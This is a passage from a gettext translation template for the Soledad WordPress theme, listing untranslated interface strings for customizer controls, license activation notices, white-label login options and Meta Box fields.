#: inc/options/framework/fields/backup/backup.php:31
msgid "Reset"
msgstr ""

#: inc/customizer/default.php:238
msgid "A+"
msgstr ""

#: inc/customizer/default.php:239
msgid "A-"
msgstr ""

#: inc/customizer/default.php:240
msgid "Sponsored"
msgstr ""

#: inc/customizer/default.php:241
msgid "Sponsored by:"
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:399
msgid "Row"
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:825
msgid ""
"Partial render must echo the content or return the content string (or "
"array), but not both."
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:1230
#: inc/options/framework/fields/gallery/gallery.php:22
msgid "Clear"
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:1231
msgid "Clear color"
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:1233
msgid "Select default color"
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:1234
msgid "Select color"
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:1235
msgid "Color value"
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:1576
msgid "Notice"
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:1578
msgid ""
"To improve customizer load speed, we disable widget option on customizer for "
"element."
msgstr ""

#: inc/customizer/framework/customizer/class-customizer.php:1579
msgid "You can still modify widget content from Widget Panel on Admin Page"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:65
msgid "row"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:93
msgid "Add new"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:127
msgid "Select a Page"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:230
#, php-format
msgid "Limit: %s rows"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:370
msgid "Hex Value"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:395
#: inc/customizer/framework/customizer/control/class-repeater.php:400
msgid "No Image Selected"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:405
#: inc/customizer/framework/customizer/control/class-repeater.php:441
#: inc/dashboard/lib/meta-box/inc/fields/file-input.php:45
#: inc/dashboard/lib/meta-box/inc/fields/media.php:30
#: inc/options/framework/fields/media/media.php:26
#: inc/options/framework/fields/upload/upload.php:25
#: inc/woocommerce/woocommerce.php:100
msgid "Remove"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:406
#: inc/customizer/framework/customizer/control/class-repeater.php:410
msgid "Add Image"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:406
#: inc/customizer/framework/customizer/control/class-repeater.php:408
msgid "Change Image"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:431
#: inc/customizer/framework/customizer/control/class-repeater.php:436
msgid "No File Selected"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:442
#: inc/customizer/framework/customizer/control/class-repeater.php:446
msgid "Add File"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:442
#: inc/customizer/framework/customizer/control/class-repeater.php:444
msgid "Change File"
msgstr ""

#: inc/customizer/framework/customizer/control/class-repeater.php:460
msgid "delete"
msgstr ""

#: inc/customizer/framework/customizer/control/class-size.php:43
msgid "Desktop"
msgstr ""

#: inc/customizer/framework/customizer/control/class-size.php:44
msgid "Mobile"
msgstr ""

#: inc/customizer/framework/customizer/control/class-spacing.php:76
msgid "Value Invalid"
msgstr ""

#: inc/customizer/framework/customizer/control/class-typography.php:78
msgid "Select Font Family"
msgstr ""

#: inc/customizer/generate-css-file.php:250
msgid "User Permission Error"
msgstr ""

#: inc/dashboard/class-penci-dashboard.php:80
msgid "Custom fonts"
msgstr ""

#: inc/dashboard/class-penci-dashboard.php:81
msgid "Custom Fonts"
msgstr ""

#: inc/dashboard/class-penci-dashboard.php:101
msgid "Welcome"
msgstr ""

#: inc/dashboard/class-penci-dashboard.php:109
msgid "Security check"
msgstr ""

#: inc/dashboard/inc/optional_plugins.php:162
msgid "Exclusive Add-On Plugins"
msgstr ""

#: inc/dashboard/inc/optional_plugins.php:164
msgid ""
"The following plugins are add-on features. Let's install it if you need to "
"use an add-on feature."
msgstr ""

#: inc/dashboard/inc/optional_plugins.php:172
msgid ""
"A plugin to help you converts text into human-like speech. The Plugin uses "
"the latest technology of machine learning and artificial intelligence to "
"play a high-quality human voice. The Plugin basis is the Google Cloud "
"Platform."
msgstr ""

#: inc/dashboard/inc/require-activation.php:80
#: inc/dashboard/inc/require-activation.php:81
msgid "Active theme"
msgstr ""

#: inc/dashboard/inc/require-activation.php:92
#: inc/dashboard/inc/require-activation.php:93
msgid "Theme License"
msgstr ""

#: inc/dashboard/inc/require-activation.php:105
msgid "New Update"
msgstr ""

#: inc/dashboard/inc/require-activation.php:144
msgid ""
"<strong>The system can't detect your purchase. Please activate Soledad to "
"use full features of the theme</strong>. We're sorry about this but we built "
"the activation system to prevent piracy of our themes in the internet, we "
"can do better serve our paying customers."
msgstr ""

#: inc/dashboard/inc/require-activation.php:150
msgid ""
"If you have issues with this please contact us via <a rel=\"nofollow\" "
"href=\"http://pencidesign.ticksy.com/\" target=\"_blank\" style=\"color: "
"#0bf948;\">our support forum</a> or <a style=\"color: #0bf948;\" "
"rel=\"nofollow\" href=\"https://themeforest.net/user/pencidesign#contact\" "
"target=\"_blank\">our contact form</a>. This notice will be removed after "
"you activated the theme."
msgstr ""

#: inc/dashboard/inc/require-activation.php:152
msgid ""
"You can check the documentation for this theme <a style=\"color: #0bf948;\" "
"href=\"https://soledad.pencidesign.net/soledad-document/\" "
"target=\"_blank\">here</a> to know how to config this theme also."
msgstr ""

#: inc/dashboard/inc/require-activation.php:204
#, php-format
msgid ""
"Please activate %s to use full features of the theme. We're sorry about this "
"but we built the activation system to prevent piracy of our themes in the "
"internet, we can do better serve our paying customers. Also, use the theme "
"without a valid license can make your site get issues with DMCA later."
msgstr ""

#: inc/dashboard/inc/require-activation.php:206
msgid ""
"And please note that: <strong>With each license - you just can use for one "
"website.</strong><br>If you want to use this theme for multiple sites, "
"please buy more licenses for it.<br>Example: <strong>2 licenses can use for "
"2 websites, 4 licenses can use for 4 websites, 7 licenses can use for 7 "
"websites,.etc..</strong>"
msgstr ""

#: inc/dashboard/inc/require-activation.php:208
msgid ""
"You can put your purchase code to the field below to activate the theme."
"<br>Check <a href=\"https://help.market.envato.com/hc/en-us/"
"articles/202822600-Where-Is-My-Purchase-Code-\" target=\"_blank\">this "
"guide</a> to know how to get your purchase code.<br>After activating the "
"theme, you can revoke the license for this website if you want."
msgstr ""

#: inc/dashboard/inc/require-activation.php:236
msgid ""
"To deliver you a better customer support service, access to features and to "
"prevent piracy when the theme is activated the following data is sent to our "
"servers:"
msgstr ""

#: inc/dashboard/inc/require-activation.php:239
msgid "The Envato username"
msgstr ""

#: inc/dashboard/inc/require-activation.php:240
msgid "The Envato purchase code for the item"
msgstr ""

#: inc/dashboard/inc/require-activation.php:241
msgid "The website URL you've activated the theme"
msgstr ""

#: inc/dashboard/inc/require-activation.php:242
msgid "The server IP address that has the theme installed"
msgstr ""

#: inc/dashboard/inc/require-activation.php:245
msgid ""
"The data is stored in a server located in US, and we do not share any of "
"this information with third-party partners."
msgstr ""

#: inc/dashboard/inc/require-activation.php:304
#: inc/dashboard/sections/getting-started.php:153
msgid "Note Important: "
msgstr ""

#: inc/dashboard/inc/require-activation.php:304
msgid ""
"If you want to use the license on another domain, please revoke the license "
"for this website by clicking the button below:"
msgstr ""

#: inc/dashboard/inc/require-activation.php:350
msgid ""
"To enable Automatic Theme Updates, please check <a style=\"text-decoration: "
"underline; color: #0043ff;\" href=\"https://pencidesign.ticksy.com/"
"article/15633/\" target=\"_blank\">this guide</a>"
msgstr ""

#: inc/dashboard/inc/require-activation.php:353
msgid ""
"You can click <a style=\"text-decoration: underline; color: #0043ff;\" "
"href=\"https://themeforest.net/item/soledad-multiconcept-blogmagazine-wp-"
"theme/12945398#item-description__update-changelog\" target=\"_blank\">here</"
"a> to check what's new in the newest version also."
msgstr ""

#: inc/dashboard/inc/social_order.php:37 inc/dashboard/inc/social_order.php:85
msgid "Social name add successfully."
msgstr ""

#: inc/dashboard/inc/social_order.php:64
msgid "Social name already exists, please use a different name."
msgstr ""

#: inc/dashboard/inc/social_order.php:102
#: inc/dashboard/inc/social_order.php:103
msgid "Add & Order of Social Icons"
msgstr ""

#: inc/dashboard/inc/social_order.php:179
msgid "Add new social item"
msgstr ""

#: inc/dashboard/inc/social_order.php:221
msgid "Upoad Icon"
msgstr ""

#: inc/dashboard/inc/social_order.php:229
msgid "+ Add Social Item"
msgstr ""

#: inc/dashboard/inc/social_order.php:236
msgid ""
"You should use an <strong>SVG image</strong> for your icon to achieve the "
"best results. You can find <strong>SVG file</strong> types for your icons by "
"conducting a <a target=\"_blank\" href=\"https://www.google.com/search?"
"q=q=svg+icon&tbm=isch\"><strong>search on Google.</strong></a>"
msgstr ""

#: inc/dashboard/inc/social_order.php:298
msgid "Updated successfully"
msgstr ""

#: inc/dashboard/inc/white-label.php:195
msgid "White Label "
msgstr ""

#: inc/dashboard/inc/white-label.php:208
msgid "Activate White Label?"
msgstr ""

#: inc/dashboard/inc/white-label.php:212
msgid "WordPress Login Logo"
msgstr ""

#: inc/dashboard/inc/white-label.php:219
msgid "Custom width for WordPress Login Logo"
msgstr ""

#: inc/dashboard/inc/white-label.php:220 inc/dashboard/inc/white-label.php:228
#: inc/meta-box/register/page.php:302 inc/meta-box/register/page.php:382
#: inc/meta-box/register/page.php:392 inc/meta-box/register/page.php:403
#: inc/meta-box/register/page.php:448 inc/meta-box/register/page.php:458
#: inc/meta-box/register/page.php:468 inc/meta-box/register/page.php:478
msgid "Numeric value only, unit is pixel"
msgstr ""

#: inc/dashboard/inc/white-label.php:227
msgid "Custom height for WordPress Login Logo"
msgstr ""

#: inc/dashboard/inc/white-label.php:236
msgid "Background Options"
msgstr ""

#: inc/dashboard/inc/white-label.php:239
msgid "Custom background image for page login"
msgstr ""

#: inc/dashboard/inc/white-label.php:246
msgid "Custom background color for page login"
msgstr ""

#: inc/dashboard/inc/white-label.php:253
msgid "From options"
msgstr ""

#: inc/dashboard/inc/white-label.php:256
msgid "Form background image"
msgstr ""

#: inc/dashboard/inc/white-label.php:262
msgid "This will change the background image property of login form."
msgstr ""

#: inc/dashboard/inc/white-label.php:266
msgid "Form background color"
msgstr ""

#: inc/dashboard/inc/white-label.php:269
msgid "This will change the background color property."
msgstr ""

#: inc/dashboard/inc/white-label.php:275
msgid "Form padding"
msgstr ""

#: inc/dashboard/inc/white-label.php:276
msgid ""
"This will change the padding property. Example: 26px 24px 46px 30px or none"
msgstr ""

#: inc/dashboard/inc/white-label.php:282
msgid "Form shadow"
msgstr ""

#: inc/dashboard/inc/white-label.php:283
msgid ""
"This will change the form's shadow property. Example: 0 1px 3px "
"rgba(0,0,0,.13). Fill <strong>none</strong> if you want to remove shadow."
msgstr ""

#: inc/dashboard/inc/white-label.php:286
msgid "Form field background"
msgstr ""

#: inc/dashboard/inc/white-label.php:291
msgid "Form field border color"
msgstr ""

#: inc/dashboard/inc/white-label.php:296
msgid "Form field color"
msgstr ""

#: inc/dashboard/inc/white-label.php:301
msgid "Form label color"
msgstr ""

#: inc/dashboard/inc/white-label.php:306
msgid "Submit button background color"
msgstr ""

#: inc/dashboard/inc/white-label.php:311
msgid "Submit button text color"
msgstr ""

#: inc/dashboard/inc/white-label.php:316
msgid "Submit button border color"
msgstr ""

#: inc/dashboard/inc/white-label.php:321
msgid "Submit button background  hover color"
msgstr ""

#: inc/dashboard/inc/white-label.php:326
msgid "Submit button text hover color"
msgstr ""

#: inc/dashboard/inc/white-label.php:331
msgid "Submit button border hover color"
msgstr ""

#: inc/dashboard/inc/white-label.php:336
msgid "Link color "
msgstr ""

#: inc/dashboard/inc/white-label.php:339
msgid ""
"This will change the text color of links that are underneath the login form"
msgstr ""

#: inc/dashboard/inc/white-label.php:342
msgid "Link color hover"
msgstr ""

#: inc/dashboard/inc/white-label.php:345
msgid ""
"This will change the text color of links, that are underneath the login "
"form, on hover"
msgstr ""

#: inc/dashboard/inc/white-label.php:351
msgid "Theme Icon"
msgstr ""

#: inc/dashboard/inc/white-label.php:352
msgid ""
"Fill the icon class you want to display here. Check list icons <a "
"rel=\"nofollow\" href=\"https://fontawesome.com/v4.7.0/icons/\" "
"target=\"_blank\">here</a>. Example fill: <strong>fa-book</strong>"
msgstr ""

#: inc/dashboard/inc/white-label.php:357
msgid "Theme Name"
msgstr ""

#: inc/dashboard/inc/white-label.php:358
msgid ""
"The theme name will display <a rel=\"nofollow\" href=\"https://soledad."
"pencidesign.net/soledad-document/images/white-lable.png\" "
"target=\"_blank\">here</a> - So, please do not fill it too long."
msgstr ""

#: inc/dashboard/inc/white-label.php:363
msgid "Theme Short Name"
msgstr ""

#: inc/dashboard/inc/white-label.php:368
msgid "Theme Author"
msgstr ""

#: inc/dashboard/inc/white-label.php:371
msgid "Welcome Page Text"
msgstr ""

#: inc/dashboard/inc/white-label.php:387
msgid "Show this screen settings panel only to this user"
msgstr ""

#: inc/dashboard/inc/white-label.php:396
msgid "WordPress Branding"
msgstr ""

#: inc/dashboard/inc/white-label.php:414
msgid "Administrator Users"
msgstr ""

#: inc/dashboard/inc/white-label.php:431
msgid "Me: "
msgstr ""

#: inc/dashboard/lib/mb-settings-page/src/BackupField.php:20
msgid ""
"To export settings, copy the content of this field and save to a file. To "
"import settings, paste the content of the backup file here."
msgstr ""

#: inc/dashboard/lib/mb-settings-page/src/Factory.php:45
msgid "Save Settings"
msgstr ""

#: inc/dashboard/lib/mb-settings-page/src/Factory.php:46
#: inc/options/framework/classes/admin-options.class.php:221
#: inc/options/framework/classes/admin-options.class.php:224
#: inc/options/framework/classes/admin-options.class.php:381
msgid "Settings saved."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/about/about.php:54
#: inc/woocommerce/woocommerce.php:169
msgid "About"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/about/about.php:56
msgid "Go Pro"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/about/about.php:69
#: inc/dashboard/lib/meta-box/inc/about/about.php:70
msgid "Meta Box"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/about/about.php:85
msgid "Welcome to Meta Box"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/about/about.php:156
#, php-format
msgid ""
"Please rate <strong>Meta Box</strong> <a href=\"%1$s\" "
"target=\"_blank\">&#9733;&#9733;&#9733;&#9733;&#9733;</a> on <a "
"href=\"%1$s\" target=\"_blank\">WordPress.org</a> to help us spread the "
"word. Thank you from the Meta Box team!"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/about/sections/support.php:18
#, php-format
msgid ""
"Still need help with Meta Box? We offer excellent support for you. But don't "
"forget to check our <a href=\"%s\">documentation</a> first."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/about/sections/welcome.php:14
#, php-format
msgid "Welcome to %s"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/core.php:38
msgid "Docs"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/field.php:361
msgid "+ Add more"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/autocomplete.php:23
#: inc/dashboard/lib/meta-box/inc/fields/autocomplete.php:85
#: inc/dashboard/lib/meta-box/inc/fields/autocomplete.php:97
#: inc/dashboard/lib/meta-box/inc/fields/file.php:171
msgid "Delete"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:75
#: inc/js_composer/shortcodes/custom_sliders/settings.php:102
#: inc/meta-box/register/page.php:486 inc/meta-box/register/page.php:536
#: inc/woocommerce/modules/metaboxes.php:191
msgid "Background Image"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:89
msgid "-- Repeat --"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:92
msgid "Repeat All"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:93
#: inc/options/framework/fields/background/background.php:187
msgid "Repeat Horizontally"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:94
#: inc/options/framework/fields/background/background.php:188
msgid "Repeat Vertically"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:95
#: inc/dashboard/lib/meta-box/inc/fields/background.php:133
#: inc/dashboard/lib/meta-box/inc/fields/background.php:147
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:110
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:167
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:120
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:398
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:327
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:278
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:648
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:952
#: inc/elementor/modules/penci-product/widgets/penci-product.php:176
#: inc/elementor/modules/penci-product/widgets/penci-product.php:308
#: inc/js_composer/inc/product_param.php:115
#: inc/js_composer/shortcodes/product/settings.php:118
#: inc/js_composer/shortcodes/product/settings.php:206
#: inc/js_composer/shortcodes/product_brand/settings.php:40
#: inc/js_composer/shortcodes/product_tabs/settings.php:154
#: inc/js_composer/shortcodes/simple_list/settings.php:37
#: inc/options/framework/fields/typography/typography.php:170
msgid "Inherit"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:107
msgid "-- Position --"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:112
msgid "Center Left"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:114
msgid "Center Right"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:129
msgid "-- Attachment --"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/background.php:145
msgid "-- Size --"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/button.php:34
msgid "Click me"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/file-input.php:23
msgid "Select File"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/file-input.php:43
#: inc/dashboard/lib/meta-box/inc/fields/select.php:92
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:421
msgid "Select"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/file.php:24
#, php-format
msgid "You may only upload maximum %d file"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/file.php:26
#, php-format
msgid "You may only upload maximum %d files"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/file.php:63
msgid "Error: Invalid file"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/file.php:77
msgid "Error: Cannot delete file"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/file.php:90
msgid "+ Add new file"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/input-list.php:92
msgid "Toggle All"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/key-value.php:135
msgid "Key"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/key-value.php:136
#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:55
#: inc/js_composer/shortcodes/progress_bar/settings.php:44
msgid "Value"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/map.php:55
#: inc/dashboard/lib/meta-box/inc/fields/osm.php:28
msgid "No results found"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/media.php:27
msgid "+ Add Media"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/media.php:28
msgid " file"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/media.php:29
msgid " files"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/media.php:32
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:126
#: inc/js_composer/shortcodes/info_box/settings.php:148
msgid "View"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/media.php:33
msgid "No Title"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/media.php:36
msgid "Select Files"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/media.php:37
msgid "or"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/media.php:38
msgid "Drop files here to upload"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/oembed.php:24
msgid "Embed HTML not available."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/post.php:80
msgid "Select a post"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/post.php:86
#: inc/dashboard/lib/meta-box/inc/fields/taxonomy.php:98
#, php-format
msgid "Select a %s"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/select-advanced.php:47
msgid "Select an item"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/sidebar.php:23
msgid "Select a sidebar"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/switch.php:93
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:166
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:221
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:552
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:563
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:574
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:387
#: inc/meta-box/register/page.php:415
#: inc/options/framework/fields/switcher/switcher.php:20
msgid "On"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/switch.php:94
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:167
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:222
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:553
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:564
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:575
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:388
#: inc/meta-box/register/page.php:416
#: inc/options/framework/fields/switcher/switcher.php:21
msgid "Off"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/taxonomy.php:94
msgid "Select a term"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/fields/user.php:84
msgid "Select an user"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/checker.php:138
msgid ""
"UPDATE UNAVAILABLE! Please enter a valid license key to enable automatic "
"updates."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/notification.php:112
#, php-format
msgid ""
"You have not set your Meta Box license key yet, which means you are missing "
"out on automatic updates and support! Please <a href=\"%1$s\">enter your "
"license key</a> or <a href=\"%2$s\" target=\"_blank\">get a new one here</a>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/notification.php:114
#: inc/dashboard/lib/meta-box/inc/update/notification.php:116
#, php-format
msgid ""
"Your license key for Meta Box is <b>invalid</b>. Please <a "
"href=\"%1$s\">update your license key</a> or <a href=\"%2$s\" "
"target=\"_blank\">get a new one</a> to enable automatic updates."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/notification.php:118
#, php-format
msgid ""
"Your license key for Meta Box is <b>expired</b>. Please <a href=\"%3$s\" "
"target=\"_blank\">renew your license</a> to get automatic updates and "
"premium support."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/notification.php:142
#, php-format
msgid ""
"Please <a href=\"%1$s\">enter your license key</a> or <a href=\"%2$s\" "
"target=\"_blank\">get a new one here</a>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/notification.php:144
#: inc/dashboard/lib/meta-box/inc/update/notification.php:146
#, php-format
msgid ""
"Your license key is <b>invalid</b>. Please <a href=\"%1$s\">update your "
"license key</a> or <a href=\"%2$s\" target=\"_blank\">get a new one here</a>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/notification.php:148
#, php-format
msgid ""
"Your license key is <b>expired</b>. Please <a href=\"%3$s\" "
"target=\"_blank\">renew your license</a>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/notification.php:171
msgid "Activate License"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/notification.php:171
msgid "Update License"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:72
msgid "Meta Box License"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:72
msgid "License"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:96
#, php-format
msgid ""
"To get the license key, visit the <a href=\"%1$s\" target=\"_blank\">My "
"Account</a> page on metabox.io website. If you have not purchased any "
"extension yet, please <a href=\"%2$s\" target=\"_blank\">get a new license "
"here</a>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:113
#: inc/dashboard/lib/meta-box/inc/update/settings.php:115
#, php-format
msgid ""
"Your license key is <b>invalid</b>. Please update your license key or <a "
"href=\"%1$s\" target=\"_blank\">get a new one here</a>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:117
#, php-format
msgid ""
"Your license key is <b>expired</b>. Please <a href=\"%2$s\" "
"target=\"_blank\">renew your license</a>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:118
msgid "Your license key is <b>active</b>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:131
msgid "Save Changes"
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:157
msgid ""
"Something wrong with the connection to metabox.io. Please try again later."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:159
msgid "Your license is activated."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:162
#, php-format
msgid ""
"License expired. Please renew on the <a href=\"%s\" target=\"_blank\">My "
"Account</a> page on metabox.io website."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/update/settings.php:168
#, php-format
msgid ""
"Invalid license. Please <a href=\"%1$s\" target=\"_blank\">check again</a> "
"or <a href=\"%2$s\" target=\"_blank\">get a new license here</a>."
msgstr ""

#: inc/dashboard/lib/meta-box/inc/validation.php:43
msgid "Please correct the errors highlighted below and try again."
msgstr ""

#: inc/dashboard/lib/meta-box/meta-box.php:24
msgid ""
"Meta Box requires PHP version 5.3+. Please contact your host to upgrade."
msgstr ""

#: inc/dashboard/sections/getting-started.php:33
msgid "The license for this website has been revoked."
msgstr ""

#: inc/dashboard/sections/getting-started.php:73
msgid ""
"We recommend checking the theme's documentation first to learn how to "
"configure it."
msgstr ""

#: inc/dashboard/sections/getting-started.php:91
msgid ""
"<strong>Important Note:</strong> If your site is a new site with no old "
"posts/pages, you can perform a full import as normal by using the \"Import "
"Demo Style\" and \"Import Demo Content\" options. However, if your site has "
"old data such as posts/pages, please only perform an import using the "
"<strong>\"Import Demo Style\"</strong> option.<br><br>If you receive the "
"message <strong>\"Sorry, you are not allowed to access this page\"</strong> "
"when clicking to button \"Import Demo Now\" below, it means that you have "
"not installed or activated the <strong>\"Penci Soledad Demo Importer\"</"
"strong> plugin. Please go to "
msgstr ""

#: inc/dashboard/sections/getting-started.php:93
#: inc/dashboard/sections/getting-started.php:154
msgid "this page"
msgstr ""

#: inc/dashboard/sections/getting-started.php:93
msgid "and do so."
msgstr ""

#: inc/dashboard/sections/getting-started.php:109
msgid ""
"If you wish to configure your homepage using Elementor or WPBakery Page "
"Builder plugin, please refer to the <a target=\"_blank\" href=\"https://"
"soledad.pencidesign.net/soledad-document/#homepage\">documentation guide</a> "
"under the \"Homepage\" section."
msgstr ""

#: inc/dashboard/sections/getting-started.php:153
msgid ""
"If you want to use the license on another domain, please revoke the license "
"for this website on "
msgstr ""

#: inc/dashboard/sections/getting-started.php:157
msgid "Revoke License"
msgstr ""

#: inc/dashboard/sections/welcome.php:23
#, php-format
msgid "Welcome to %s Child Theme"
msgstr ""

#: inc/dashboard/sections/welcome.php:24
#, php-format
msgid "Inherit from %1$s Parent Theme - Version %2$s"
msgstr ""

#: inc/dashboard/sections/welcome.php:27
#, php-format
msgid "Welcome to %1$s - Version %2$s"
msgstr ""

#: inc/dashboard/sections/welcome.php:31
msgid ""
"Thank you for purchasing our theme! We're happy when having a new great "
"customer like you.<br>You can join with other users that love to use Soledad "
"to build their websites on <a target='_blank' href='https://www.facebook.com/"
"groups/soledad/'>Soledad Users Group Here</a>. This is a platform for "
"sharing, showcase your works, assist, discuss, and updates."
msgstr ""

#: inc/data-imex/penci-imex.php:47
msgid ""
"This is a feature to help you can export settings from a header you've made "
"and import it to another header. It helps in case you want to move all "
"settings from an existing header to another header or move a header from a "
"website to another website.<br>Please check <a href='https://imgresources.s3."
"amazonaws.com/export-header.png' target='_blank'>this image</a> to know how "
"to export settings for a header."
msgstr ""

#: inc/data-imex/penci-imex.php:238 inc/data-imex/penci-imex.php:246
#: inc/data-imex/penci-imex.php:249
msgid "Header "
msgstr ""

#: inc/data-imex/penci-imex.php:240
msgid "PenciDesign"
msgstr ""

#: inc/data-imex/penci-imex.php:246 inc/data-imex/penci-imex.php:249
msgid " - Overlap Header"
msgstr ""

#: inc/data-imex/penci-imex.php:263
msgid "Import Header Builder"
msgstr ""

#: inc/data-imex/penci-imex.php:275
msgid "Watch Video Tutorial"
msgstr ""

#: inc/data-imex/penci-imex.php:307
msgid "Import Header Builder Data Successfully"
msgstr ""

#: inc/data-imex/penci-imex.php:311
msgid "Please Add Import Data File"
msgstr ""

#: inc/elementor/base/base-widget.php:116
#: inc/js_composer/inc/vc-params-helper.php:479
msgid "Heading Ajax Filter"
msgstr ""

#: inc/elementor/base/base-widget.php:121
#: inc/js_composer/inc/vc-params-helper.php:543
msgid "Add Text Before More Icon"
msgstr ""

#: inc/elementor/base/base-widget.php:128
